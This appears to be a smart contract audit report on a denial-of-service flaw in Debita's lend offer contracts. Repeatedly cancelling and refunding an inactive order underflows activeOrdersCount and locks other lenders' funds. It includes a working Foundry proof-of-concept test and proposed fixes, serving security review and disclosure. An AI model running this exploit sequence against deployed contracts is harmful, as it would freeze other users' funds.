Smooth Sapphire Barbel
High
A Denial of Service (DoS) vulnerability exists in the DebitaLendOffer-Implementation::cancelOffer
function, which can lead to funds being permanently locked in the contract. This issue stems from improper handling of deleted orders and a lack of validation during state transitions.
-
Improper Handling of Order State Transitions:
- The vulnerability is triggered when an attacker creates a lend order via
DebitaLendOfferFactory::createLendOrder
and later cancels it usingDebitaLendOffer-Implementation::cancelOffer
. - After cancellation, the attacker can still add funds to the order using
DebitaLendOffer-Implementation::addFunds
, despite the order no longer being active. This occurs becauseaddFunds
does not validate the order'sisActive
state. - The attacker can then call
cancelOffer
again on the same order, which internally callsDebitaLendOfferFactory::deleteOrder
. SincecancelOffer
does not check the order's state, it allows the attacker to update state variables incorrectly, includingLendOrderIndex
,allActiveLenderOrders
, andactiveOrdersCount
.
- The vulnerability is triggered when an attacker creates a lend order via
-
Incorrect Array Removal:
- When an order is canceled, the
DebitaLendOfferFactory
contract attempts to remove it from theLendOrderIndex
andallActiveLenderOrders
arrays. However, instead of properly popping the elements from these arrays, it sets the respective entries to zero. - This results in "sparse" arrays, with zeroed-out elements still occupying positions. Consequently, the
activeOrdersCount
is incorrectly decremented, potentially reaching zero even though there are still active orders.
- When an order is canceled, the
-
Denial of Service (DoS) and Fund Locking:
- If
activeOrdersCount
reaches zero due to this flawed removal mechanism, subsequent calls tocancelOffer
will fail due to an underflow error. - This prevents further deletions or cancellations of lend orders, effectively locking funds in the contract.
- Even if new lend offers are created to increment the
activeOrdersCount
, the attacker could exploit the vulnerability by back-running transactions to reset the counter back to zero, thereby perpetuating the DoS condition.
- If
function cancelOffer() public onlyOwner nonReentrant {
// @> Missing isActive check
uint availableAmount = lendInformation.availableAmount;
lendInformation.perpetual = false;
lendInformation.availableAmount = 0;
require(availableAmount > 0, "No funds to cancel");
isActive = false;
SafeERC20.safeTransfer(
IERC20(lendInformation.principle),
msg.sender,
availableAmount
);
IDLOFactory(factoryContract).emitDelete(address(this));
IDLOFactory(factoryContract).deleteOrder(address(this));
// emit canceled event on factory
}
function addFunds(uint amount) public nonReentrant {
// @> Missing isActive check
require(
msg.sender == lendInformation.owner ||
IAggregator(aggregatorContract).isSenderALoan(msg.sender),
"Only owner or loan"
);
SafeERC20.safeTransferFrom(
IERC20(lendInformation.principle),
msg.sender,
address(this),
amount
);
lendInformation.availableAmount += amount;
IDLOFactory(factoryContract).emitUpdate(address(this));
}
function deleteOrder(address _lendOrder) external onlyLendOrder {
uint index = LendOrderIndex[_lendOrder];
@> LendOrderIndex[_lendOrder] = 0;
// switch index of the last borrow order to the deleted borrow order
allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;
// take out last borrow order
@> allActiveLendOrders[activeOrdersCount - 1] = address(0);
activeOrdersCount--;
}
In DebitaLendOffer-Implementation::cancelOffer and DebitaLendOffer-Implementation::addFunds , there is no check to ensure the order is active before interacting with it, allowing funds to be added or orders to be deleted after they are marked inactive.
In DebitaLendOfferFactory::deleteOrder array elements in LendOrderIndex
and allActiveLenderOrders
are zeroed out instead of properly removed, leading to array sparsity and potential underflow of activeOrdersCount
.
- Existing lending orders.
No response
- The attacker creates an order via
DebitaLendOfferFactory::createLendOrder
. - The attacker repeatedly calls
cancelOffer
andaddFunds
to decrementDebitaLendOfferFactory::activeOrdersCount
until it reaches zero.
- Denial of Service (DoS): The primary impact of this vulnerability is a denial of service, where legitimate users are unable to cancel or delete their orders. This prevents them from reclaiming or reusing their funds.
- Locked Funds: Funds that are added to deleted orders cannot be retrieved, causing them to be stuck in the contract.
- Incorrect State Reporting: The
getActiveOrders
function may return an empty array, even though there are active orders in the system.
In the following test, two distinct users create lender offers. The first lender calls cancelOffer
, then adds funds to the deleted order with addFunds
, and calls cancelOffer
again on the same order. This sequence causes DebitaLendOfferFactory::activeOrdersCount
to be reduced to zero. When the second user attempts to call cancelOffer
, the transaction will revert due to an underflow when trying to decrement activeOrdersCount
with activeOrdersCount--
.
pragma solidity ^0.8.0;
import {Test, console, stdError} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";
import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
contract DosDeleteLendOrder is Test {
veNFTEqualizer public receiptContract;
DBOFactory public DBOFactoryContract;
DLOFactory public DLOFactoryContract;
Ownerships public ownershipsContract;
DebitaIncentives public incentivesContract;
DebitaV3Aggregator public DebitaV3AggregatorContract;
auctionFactoryDebita public auctionFactoryDebitaContract;
DynamicData public allDynamicData;
DebitaV3Loan public DebitaV3LoanContract;
ERC20Mock public AEROContract;
ERC20Mock public USDCContract;
ERC20Mock public wETHContract;
DLOImplementation public LendOrder;
DLOImplementation public SecondLendOrder;
DLOImplementation public ThirdLendOrder;
DBOImplementation public BorrowOrder;
address AERO;
address USDC;
address wETH;
address borrower = address(0x02);
address firstLender = address(this);
address secondLender = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
address thirdLender = 0x25ABd53Ea07dc7762DE910f155B6cfbF3B99B296;
address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
address feeAddress = address(this);
uint receiptID;
function setUp() public {
allDynamicData = new DynamicData();
ownershipsContract = new Ownerships();
incentivesContract = new DebitaIncentives();
DBOImplementation borrowOrderImplementation = new DBOImplementation();
DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
DLOImplementation proxyImplementation = new DLOImplementation();
DLOFactoryContract = new DLOFactory(address(proxyImplementation));
auctionFactoryDebitaContract = new auctionFactoryDebita();
AEROContract = new ERC20Mock();
deal(address(AEROContract), address(this), 1000e18, true);
USDCContract = new ERC20Mock();
wETHContract = new ERC20Mock();
DebitaV3Loan loanInstance = new DebitaV3Loan();
DebitaV3AggregatorContract = new DebitaV3Aggregator(
address(DLOFactoryContract),
address(DBOFactoryContract),
address(incentivesContract),
address(ownershipsContract),
address(auctionFactoryDebitaContract),
address(loanInstance)
);
AERO = address(AEROContract);
USDC = address(USDCContract);
wETH = address(wETHContract);
ownershipsContract.setDebitaContract(
address(DebitaV3AggregatorContract)
);
auctionFactoryDebitaContract.setAggregator(
address(DebitaV3AggregatorContract)
);
DLOFactoryContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
DBOFactoryContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
incentivesContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
DebitaV3AggregatorContract.setValidNFTCollateral(
address(receiptContract),
true
);
deal(AERO, firstLender, 1000e18, false);
deal(AERO, secondLender, 1000e18, false);
deal(AERO, borrower, 1000e18, false);
deal(USDC, borrower, 1000e18, false);
deal(wETH, secondLender, 1000e18, false);
deal(wETH, thirdLender, 1000e18, false);
}
function testDosDeleteLendOffer() public {
//---------------------------------------//
// Create 2 lend offers
//---------------------------------------//
bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(2);
uint[] memory ltvs = allDynamicData.getDynamicUintArray(2);
uint[] memory ratio = allDynamicData.getDynamicUintArray(2);
uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
bool[] memory oraclesActivatedLenders = allDynamicData
.getDynamicBoolArray(1);
address[] memory acceptedPrinciples = allDynamicData
.getDynamicAddressArray(2);
address[] memory acceptedCollaterals = allDynamicData
.getDynamicAddressArray(1);
address[] memory oraclesCollateral = allDynamicData
.getDynamicAddressArray(1);
address[] memory oraclesPrinciples = allDynamicData
.getDynamicAddressArray(2);
vm.startPrank(firstLender);
AEROContract.approve(address(DLOFactoryContract), 5e18);
ratioLenders[0] = 5e17;
address lendOrderAddress = DLOFactoryContract.createLendOrder(
false,
oraclesActivatedLenders,
false,
ltvsLenders,
1350,
8640000,
86400,
acceptedCollaterals,
AERO,
oraclesCollateral,
ratioLenders,
address(0x0),
5e18
);
vm.stopPrank();
vm.startPrank(secondLender);
wETHContract.approve(address(DLOFactoryContract), 5e18);
ratioLenders[0] = 4e17;
address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
false,
oraclesActivatedLenders,
false,
ltvsLenders,
1000,
9640000,
86400,
acceptedCollaterals,
wETH,
oraclesCollateral,
ratioLenders,
address(0x0),
5e18
);
vm.stopPrank();
LendOrder = DLOImplementation(lendOrderAddress);
SecondLendOrder = DLOImplementation(SecondlendOrderAddress);
//-----------------------------------------------------//
// Call cancelOffer -> addFunds -> cancelOffer -> ...
//-----------------------------------------------------//
vm.startPrank(firstLender);
for (uint i = 0; i < 2; i++) {
LendOrder.cancelOffer();
uint amount = 1 wei;
AEROContract.approve(address(LendOrder), amount);
LendOrder.addFunds(amount);
}
vm.stopPrank();
//-------------------------------------------------------------------//
// When the second lender attempts to cancel the offer, it reverts
//-------------------------------------------------------------------//
vm.startPrank(secondLender);
vm.expectRevert(stdError.arithmeticError);
SecondLendOrder.cancelOffer();
vm.stopPrank();
}
}
- Ensure Only Active Offers Can Be Modified: Prevent adding funds or canceling inactive offers by checking the isActive state.
function addFunds(uint amount) public nonReentrant {
+ require(isActive, "Offer is not active");
...
}
function cancelOffer() public onlyOwner nonReentrant {
+ require(isActive, "Offer is not active");
...
}
- Fix
deleteOrder
Array Handling: Instead of zeroing out elements, properly remove them usingpop()
to avoid array sparsity and underflow.